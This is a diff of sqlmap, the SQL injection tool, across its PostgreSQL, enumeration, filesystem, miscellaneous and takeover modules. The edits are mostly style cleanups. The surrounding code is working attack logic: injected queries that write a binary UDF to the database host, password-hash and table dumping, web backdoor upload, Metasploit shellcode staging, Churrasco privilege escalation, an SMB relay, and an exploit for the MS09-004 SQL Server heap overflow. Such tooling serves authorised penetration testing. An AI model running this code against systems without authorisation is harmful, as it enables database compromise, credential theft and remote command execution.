inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to " debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF " debugMsg += "the just created OID the binary (base64 decoded) UDF "
@ -409,7 +397,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# #
# As a matter of facts it was possible to store correctly a file # As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export()) # large 13776 bytes, the problem arises at next step (lo_export())
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile debugMsg += "file '%s'" % dFile
@ -419,14 +407,13 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# (pg_largeobject 'data' field) # (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
if confirm == True: if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType) self.askCheckWrittenFile(wFile, dFile, fileType)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
def udfSetRemotePath(self): def udfSetRemotePath(self):
# On Windows # On Windows
if kb.os == "Windows": if kb.os == "Windows":
# The DLL can be in any folder where postgres user has # The DLL can be in any folder where postgres user has
# read/write/execute access is valid # read/write/execute access is valid
@ -441,23 +428,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# read/write/execute access is valid # read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet): def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate: if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf) logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"]) inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"] ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf) inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf) self.createdUdf.add(udf)
else: else:
logger.debug("keeping existing UDF '%s' as requested" % udf) logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self): def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
@ -481,8 +466,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.udfInjectCore(self.sysUdfs) self.udfInjectCore(self.sysUdfs)
self.envInitialized = True self.envInitialized = True
def uncPathRequest(self): def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from lib.core.agent import agent from lib.core.agent import agent
@ -49,7 +47,6 @@ from lib.request import inject
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
class Enumeration: class Enumeration:
""" """
This class defines generic enumeration functionalities for plugins. This class defines generic enumeration functionalities for plugins.
@ -71,11 +68,9 @@ class Enumeration:
temp.inference = queries[dbms].inference temp.inference = queries[dbms].inference
def forceDbmsEnum(self): def forceDbmsEnum(self):
pass pass
def getVersionFromBanner(self): def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp: if "dbmsVersion" in kb.bannerFp:
return return
@ -100,7 +95,6 @@ class Enumeration:
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False) kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "") kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def getBanner(self): def getBanner(self):
if not conf.getBanner: if not conf.getBanner:
return return
@ -131,7 +125,6 @@ class Enumeration:
return kb.data.banner return kb.data.banner
def getCurrentUser(self): def getCurrentUser(self):
infoMsg = "fetching current user" infoMsg = "fetching current user"
logger.info(infoMsg) logger.info(infoMsg)
@ -143,7 +136,6 @@ class Enumeration:
return kb.data.currentUser return kb.data.currentUser
def getCurrentDb(self): def getCurrentDb(self):
infoMsg = "fetching current database" infoMsg = "fetching current database"
logger.info(infoMsg) logger.info(infoMsg)
@ -155,7 +147,6 @@ class Enumeration:
return kb.data.currentDb return kb.data.currentDb
def isDba(self): def isDba(self):
infoMsg = "testing if current user is DBA" infoMsg = "testing if current user is DBA"
logger.info(infoMsg) logger.info(infoMsg)
@ -166,7 +157,6 @@ class Enumeration:
return kb.data.isDba == "1" return kb.data.isDba == "1"
def getUsers(self): def getUsers(self):
infoMsg = "fetching database users" infoMsg = "fetching database users"
logger.info(infoMsg) logger.info(infoMsg)
@ -218,7 +208,6 @@ class Enumeration:
return kb.data.cachedUsers return kb.data.cachedUsers
def getPasswordHashes(self): def getPasswordHashes(self):
infoMsg = "fetching database users password hashes" infoMsg = "fetching database users password hashes"
@ -340,7 +329,6 @@ class Enumeration:
return kb.data.cachedUsersPasswords return kb.data.cachedUsersPasswords
def __isAdminFromPrivileges(self, privileges): def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the # In PostgreSQL the usesuper privilege means that the
# user is DBA # user is DBA
@ -360,7 +348,6 @@ class Enumeration:
return dbaCondition return dbaCondition
def getPrivileges(self): def getPrivileges(self):
infoMsg = "fetching database users privileges" infoMsg = "fetching database users privileges"
@ -627,7 +614,6 @@ class Enumeration:
return ( kb.data.cachedUsersPrivileges, areAdmins ) return ( kb.data.cachedUsersPrivileges, areAdmins )
def getDbs(self): def getDbs(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema: if kb.dbms == "MySQL" and not kb.data.has_information_schema:
warnMsg = "information_schema not available, " warnMsg = "information_schema not available, "
@ -682,7 +668,6 @@ class Enumeration:
return kb.data.cachedDbs return kb.data.cachedDbs
def getTables(self): def getTables(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema: if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
@ -777,7 +762,6 @@ class Enumeration:
return kb.data.cachedTables return kb.data.cachedTables
def getColumns(self, onlyColNames=False): def getColumns(self, onlyColNames=False):
if kb.dbms == "MySQL" and not kb.data.has_information_schema: if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
@ -897,7 +881,6 @@ class Enumeration:
return kb.data.cachedColumns return kb.data.cachedColumns
def dumpTable(self): def dumpTable(self):
if not conf.tbl: if not conf.tbl:
errMsg = "missing table parameter" errMsg = "missing table parameter"
@ -1067,7 +1050,6 @@ class Enumeration:
return kb.data.dumpedTable return kb.data.dumpedTable
def dumpAll(self): def dumpAll(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema: if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
@ -1093,7 +1075,6 @@ class Enumeration:
if data: if data:
dumper.dbTableValues(data) dumper.dbTableValues(data)
def sqlQuery(self, query): def sqlQuery(self, query):
output = None output = None
sqlType = None sqlType = None
@ -1119,10 +1100,10 @@ class Enumeration:
else: else:
query = urlencode(query, convall=True) query = urlencode(query, convall=True)
if kb.stackedTest == None: if kb.stackedTest is None:
stackedTest() stackedTest()
if kb.stackedTest == False: if not kb.stackedTest:
return None return None
else: else:
if sqlType: if sqlType:
@ -1140,7 +1121,6 @@ class Enumeration:
return output return output
def sqlShell(self): def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % kb.dbms infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
@ -1174,7 +1154,7 @@ class Enumeration:
if output and output != "Quit": if output and output != "Quit":
dumper.string(query, output) dumper.string(query, output)
elif output == False: elif not output:
pass pass
elif output != "Quit": elif output != "Quit":

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import binascii import binascii
import os import os
@ -46,13 +44,11 @@ class Filesystem:
self.fileTblName = "sqlmapfile" self.fileTblName = "sqlmapfile"
self.tblField = "data" self.tblField = "data"
def __unbase64String(self, base64Str): def __unbase64String(self, base64Str):
unbase64Str = "%s\n" % base64Str.decode("base64") unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str return unbase64Str
def __unhexString(self, hexStr): def __unhexString(self, hexStr):
if len(hexStr) % 2 != 0: if len(hexStr) % 2 != 0:
errMsg = "for some reasons sqlmap retrieved an odd-length " errMsg = "for some reasons sqlmap retrieved an odd-length "
@ -64,7 +60,6 @@ class Filesystem:
return binascii.unhexlify(hexStr) return binascii.unhexlify(hexStr)
def __binDataToScr(self, binaryData, chunkName): def __binDataToScr(self, binaryData, chunkName):
""" """
Called by Microsoft SQL Server plugin to write a binary file on the Called by Microsoft SQL Server plugin to write a binary file on the
@ -101,7 +96,6 @@ class Filesystem:
return fileLines return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType): def __checkWrittenFile(self, wFile, dFile, fileType):
if kb.dbms == "MySQL": if kb.dbms == "MySQL":
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
@ -110,10 +104,10 @@ class Filesystem:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10))) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
@ -141,7 +135,6 @@ class Filesystem:
warnMsg += "privileges in the destination path" warnMsg += "privileges in the destination path"
logger.warn(warnMsg) logger.warn(warnMsg)
def fileToSqlQueries(self, fcEncodedList): def fileToSqlQueries(self, fcEncodedList):
""" """
Called by MySQL and PostgreSQL plugins to write a file on the Called by MySQL and PostgreSQL plugins to write a file on the
@ -162,7 +155,6 @@ class Filesystem:
return sqlQueries return sqlQueries
def fileEncode(self, fileName, encoding, single): def fileEncode(self, fileName, encoding, single):
""" """
Called by MySQL and PostgreSQL plugins to write a file on the Called by MySQL and PostgreSQL plugins to write a file on the
@ -170,10 +162,10 @@ class Filesystem:
""" """
fcEncodedList = [] fcEncodedList = []
fp = open(fileName, "rb") fp = open(fileName, "rb")
fcEncodedStr = fp.read().encode(encoding).replace("\n", "") fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
if single == False: if not single:
fcLength = len(fcEncodedStr) fcLength = len(fcEncodedStr)
if fcLength > 1024: if fcLength > 1024:
@ -200,7 +192,6 @@ class Filesystem:
return fcEncodedList return fcEncodedList
def updateBinChunk(self, binaryData, tmpPath): def updateBinChunk(self, binaryData, tmpPath):
""" """
Called by Microsoft SQL Server plugin to write a binary file on the Called by Microsoft SQL Server plugin to write a binary file on the
@ -250,17 +241,15 @@ class Filesystem:
return chunkName return chunkName
def askCheckWrittenFile(self, wFile, dFile, fileType): def askCheckWrittenFile(self, wFile, dFile, fileType):
message = "do you want confirmation that the file '%s' " % dFile message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS " message += "has been successfully written on the back-end DBMS "
message += "file system? [Y/n] " message += "file system? [Y/n] "
output = readInput(message, default="Y") output = readInput(message, default="Y")
if not output or output in ("y", "Y"): if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType) self.__checkWrittenFile(wFile, dFile, fileType)
def readFile(self, rFile): def readFile(self, rFile):
fileContent = None fileContent = None
@ -268,7 +257,7 @@ class Filesystem:
self.checkDbmsOs() self.checkDbmsOs()
if kb.stackedTest == False: if not kb.stackedTest:
debugMsg = "going to read the file with UNION query SQL " debugMsg = "going to read the file with UNION query SQL "
debugMsg += "injection technique" debugMsg += "injection technique"
logger.debug(debugMsg) logger.debug(debugMsg)
@ -308,13 +297,12 @@ class Filesystem:
return rFilePath return rFilePath
def writeFile(self, wFile, dFile, fileType=None, confirm=True): def writeFile(self, wFile, dFile, fileType=None, confirm=True):
stackedTest() stackedTest()
self.checkDbmsOs() self.checkDbmsOs()
if kb.stackedTest == False: if not kb.stackedTest:
debugMsg = "going to upload the %s file with " % fileType debugMsg = "going to upload the %s file with " % fileType
debugMsg += "UNION query SQL injection technique" debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg) logger.debug(debugMsg)

View File

@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUndefinedMethod
class Fingerprint: class Fingerprint:
""" """
This class defines generic fingerprint functionalities for plugins. This class defines generic fingerprint functionalities for plugins.
@ -38,20 +35,17 @@ class Fingerprint:
errMsg += "into the specific DBMS plugin" errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg raise sqlmapUndefinedMethod, errMsg
@staticmethod @staticmethod
def escape(expression): def escape(expression):
errMsg = "'escape' method must be defined " errMsg = "'escape' method must be defined "
errMsg += "into the specific DBMS plugin" errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg raise sqlmapUndefinedMethod, errMsg
def getFingerprint(self): def getFingerprint(self):
errMsg = "'getFingerprint' method must be defined " errMsg = "'getFingerprint' method must be defined "
errMsg += "into the specific DBMS plugin" errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg raise sqlmapUndefinedMethod, errMsg
def checkDbms(self): def checkDbms(self):
errMsg = "'checkDbms' method must be defined " errMsg = "'checkDbms' method must be defined "
errMsg += "into the specific DBMS plugin" errMsg += "into the specific DBMS plugin"

View File

@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re
import os import os
import re
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
@ -72,12 +70,11 @@ class Miscellaneous:
setRemoteTempPath() setRemoteTempPath()
def delRemoteFile(self, tempFile, doubleslash=False): def delRemoteFile(self, tempFile, doubleslash=False):
self.checkDbmsOs() self.checkDbmsOs()
if kb.os == "Windows": if kb.os == "Windows":
if doubleslash is True: if doubleslash:
tempFile = tempFile.replace("/", "\\\\") tempFile = tempFile.replace("/", "\\\\")
else: else:
tempFile = tempFile.replace("/", "\\") tempFile = tempFile.replace("/", "\\")
@ -88,11 +85,9 @@ class Miscellaneous:
self.execCmd(cmd, forgeCmd=True) self.execCmd(cmd, forgeCmd=True)
def createSupportTbl(self, tblName, tblField, tblType):
def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName)
inject.goStacked("DROP TABLE %s" % tblName) inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def cleanup(self, onlyFileTbl=False, udfDict=None): def cleanup(self, onlyFileTbl=False, udfDict=None):
""" """
@ -101,7 +96,7 @@ class Miscellaneous:
stackedTest() stackedTest()
if kb.stackedTest == False: if not kb.stackedTest:
return return
if kb.os == "Windows": if kb.os == "Windows":
@ -113,16 +108,16 @@ class Miscellaneous:
else: else:
libtype = "shared library" libtype = "shared library"
if onlyFileTbl == True: if onlyFileTbl:
logger.debug("cleaning up the database management system") logger.debug("cleaning up the database management system")
else: else:
logger.info("cleaning up the database management system") logger.info("cleaning up the database management system")
logger.debug("removing support tables") logger.debug("removing support tables")
inject.goStacked("DROP TABLE %s" % self.fileTblName) inject.goStacked("DROP TABLE %s" % self.fileTblName)
if onlyFileTbl == False: if not onlyFileTbl:
inject.goStacked("DROP TABLE %s" % self.cmdTblName) inject.goStacked("DROP TABLE %s" % self.cmdTblName)
if kb.dbms == "Microsoft SQL Server": if kb.dbms == "Microsoft SQL Server":
return return
@ -131,7 +126,7 @@ class Miscellaneous:
udfDict = self.sysUdfs udfDict = self.sysUdfs
for udf, inpRet in udfDict.items(): for udf, inpRet in udfDict.items():
message = "do you want to remove UDF '%s'? [Y/n] " % udf message = "do you want to remove UDF '%s'? [Y/n] " % udf
output = readInput(message, default="Y") output = readInput(message, default="Y")
if not output or output in ("y", "Y"): if not output or output in ("y", "Y"):
@ -141,8 +136,8 @@ class Miscellaneous:
inp = ", ".join(i for i in inpRet["input"]) inp = ", ".join(i for i in inpRet["input"])
dropStr += "(%s)" % inp dropStr += "(%s)" % inp
logger.debug("removing UDF '%s'" % udf) logger.debug("removing UDF '%s'" % udf)
inject.goStacked(dropStr) inject.goStacked(dropStr)
logger.info("database management system cleanup finished") logger.info("database management system cleanup finished")
@ -153,5 +148,5 @@ class Miscellaneous:
warnMsg += "folder " warnMsg += "folder "
warnMsg += "saved on the file system can only be deleted " warnMsg += "saved on the file system can only be deleted "
warnMsg += "manually" warnMsg += "manually"
logger.warn(warnMsg) logger.warn(warnMsg)

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import re import re
@ -59,7 +57,6 @@ class Takeover(Abstraction, Metasploit, Registry):
Abstraction.__init__(self) Abstraction.__init__(self)
def __webBackdoorRunCmd(self, backdoorUrl, cmd): def __webBackdoorRunCmd(self, backdoorUrl, cmd):
output = None output = None
@ -77,7 +74,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return output return output
def __webBackdoorShell(self, backdoorUrl): def __webBackdoorShell(self, backdoorUrl):
infoMsg = "calling OS shell. To quit type " infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
@ -106,8 +102,7 @@ class Takeover(Abstraction, Metasploit, Registry):
if command.lower() in ( "x", "q", "exit", "quit" ): if command.lower() in ( "x", "q", "exit", "quit" ):
break break
self.__webBackdoorRunCmd(backdoorUrl, command) self.__webBackdoorRunCmd(backdoorUrl, command)
def __webBackdoorInit(self): def __webBackdoorInit(self):
""" """
@ -138,23 +133,16 @@ class Takeover(Abstraction, Metasploit, Registry):
if not choice or choice == "2": if not choice or choice == "2":
language = "php" language = "php"
break break
elif choice == "1": elif choice == "1":
language = "asp" language = "asp"
break break
elif choice == "3": elif choice == "3":
# TODO: add also JSP backdoor/uploader support
errMsg = "JSP web backdoor functionality is not yet " errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented" errMsg += "implemented"
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException(errMsg)
#language = "jsp"
#break
elif not choice.isdigit(): elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed") logger.warn("invalid value, only digits are allowed")
@ -226,7 +214,6 @@ class Takeover(Abstraction, Metasploit, Registry):
continue continue
elif language == "jsp": elif language == "jsp":
# TODO: add also JSP backdoor/uploader support
pass pass
backdoorUrl = "%s/%s" % (baseUrl, backdoorName) backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
@ -240,7 +227,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return backdoorUrl return backdoorUrl
def uploadChurrasco(self): def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the " msg = "do you want sqlmap to upload Churrasco and call the "
msg += "Metasploit payload stager as its argument so that it " msg += "Metasploit payload stager as its argument so that it "
@ -249,7 +235,6 @@ class Takeover(Abstraction, Metasploit, Registry):
output = readInput(msg, default="Y") output = readInput(msg, default="Y")
if not output or output[0] in ( "y", "Y" ): if not output or output[0] in ( "y", "Y" ):
# TODO: add also compiled/packed Churrasco for Windows 2008
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe") wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True)) self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
@ -261,11 +246,10 @@ class Takeover(Abstraction, Metasploit, Registry):
else: else:
return False return False
def osCmd(self): def osCmd(self):
stackedTest() stackedTest()
if kb.stackedTest == False: if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command " infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution" infoMsg += "execution"
logger.info(infoMsg) logger.info(infoMsg)
@ -278,11 +262,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.initEnv() self.initEnv()
self.runCmd(conf.osCmd) self.runCmd(conf.osCmd)
def osShell(self): def osShell(self):
stackedTest() stackedTest()
if kb.stackedTest == False: if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command " infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution" infoMsg += "execution"
logger.info(infoMsg) logger.info(infoMsg)
@ -295,11 +278,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.initEnv() self.initEnv()
self.absOsShell() self.absOsShell()
def osPwn(self): def osPwn(self):
stackedTest() stackedTest()
if kb.stackedTest == False: if not kb.stackedTest:
return return
self.initEnv() self.initEnv()
@ -330,7 +312,7 @@ class Takeover(Abstraction, Metasploit, Registry):
if choice == 1: if choice == 1:
goUdf = True goUdf = True
if goUdf is True: if goUdf:
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
else: else:
self.createMsfPayloadStager() self.createMsfPayloadStager()
@ -359,7 +341,7 @@ class Takeover(Abstraction, Metasploit, Registry):
uploaded = self.uploadChurrasco() uploaded = self.uploadChurrasco()
if uploaded == False: if not uploaded:
warnMsg = "beware that the privilege escalation " warnMsg = "beware that the privilege escalation "
warnMsg += "might not work" warnMsg += "might not work"
logger.warn(warnMsg) logger.warn(warnMsg)
@ -371,7 +353,6 @@ class Takeover(Abstraction, Metasploit, Registry):
self.pwn(goUdf) self.pwn(goUdf)
def osSmb(self): def osSmb(self):
stackedTest() stackedTest()
@ -381,14 +362,14 @@ class Takeover(Abstraction, Metasploit, Registry):
errMsg = "the back-end DBMS underlying operating system is " errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "not Windows: it is not possible to perform the SMB "
errMsg += "relay attack" errMsg += "relay attack"
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException(errMsg)
if kb.stackedTest == False: if not kb.stackedTest:
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ): if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
errMsg = "on this back-end DBMS it is only possible to " errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked " errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported" errMsg += "queries are supported"
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException(errMsg)
elif kb.dbms == "MySQL": elif kb.dbms == "MySQL":
debugMsg = "since stacked queries are not supported, " debugMsg = "since stacked queries are not supported, "
@ -419,16 +400,15 @@ class Takeover(Abstraction, Metasploit, Registry):
else: else:
printWarn = False printWarn = False
if printWarn == True: if printWarn:
logger.warn(warnMsg) logger.warn(warnMsg)
self.smb() self.smb()
def osBof(self): def osBof(self):
stackedTest() stackedTest()
if kb.stackedTest == False: if not kb.stackedTest:
return return
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ): if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
@ -436,7 +416,7 @@ class Takeover(Abstraction, Metasploit, Registry):
errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)" errMsg += "stored procedure (MS09-004)"
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException(errMsg)
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0] infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
@ -448,11 +428,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof() self.bof()
def __regInit(self): def __regInit(self):
stackedTest() stackedTest()
if kb.stackedTest == False: if not kb.stackedTest:
return return
self.checkDbmsOs() self.checkDbmsOs()
@ -460,12 +439,11 @@ class Takeover(Abstraction, Metasploit, Registry):
if kb.os != "Windows": if kb.os != "Windows":
errMsg = "the back-end DBMS underlying operating system is " errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows" errMsg += "not Windows"
raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException(errMsg)
self.initEnv() self.initEnv()
self.getRemoteTempPath() self.getRemoteTempPath()
def regRead(self): def regRead(self):
self.__regInit() self.__regInit()
@ -488,7 +466,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return self.readRegKey(regKey, regVal, False) return self.readRegKey(regKey, regVal, False)
def regAdd(self): def regAdd(self):
self.__regInit() self.__regInit()
@ -499,7 +476,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regKey = readInput(msg) regKey = readInput(msg)
if not regKey: if not regKey:
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException(errMsg)
else: else:
regKey = conf.regKey regKey = conf.regKey
@ -508,7 +485,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regVal = readInput(msg) regVal = readInput(msg)
if not regVal: if not regVal:
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException(errMsg)
else: else:
regVal = conf.regVal regVal = conf.regVal
@ -517,7 +494,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regData = readInput(msg) regData = readInput(msg)
if not regData: if not regData:
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException(errMsg)
else: else:
regData = conf.regData regData = conf.regData
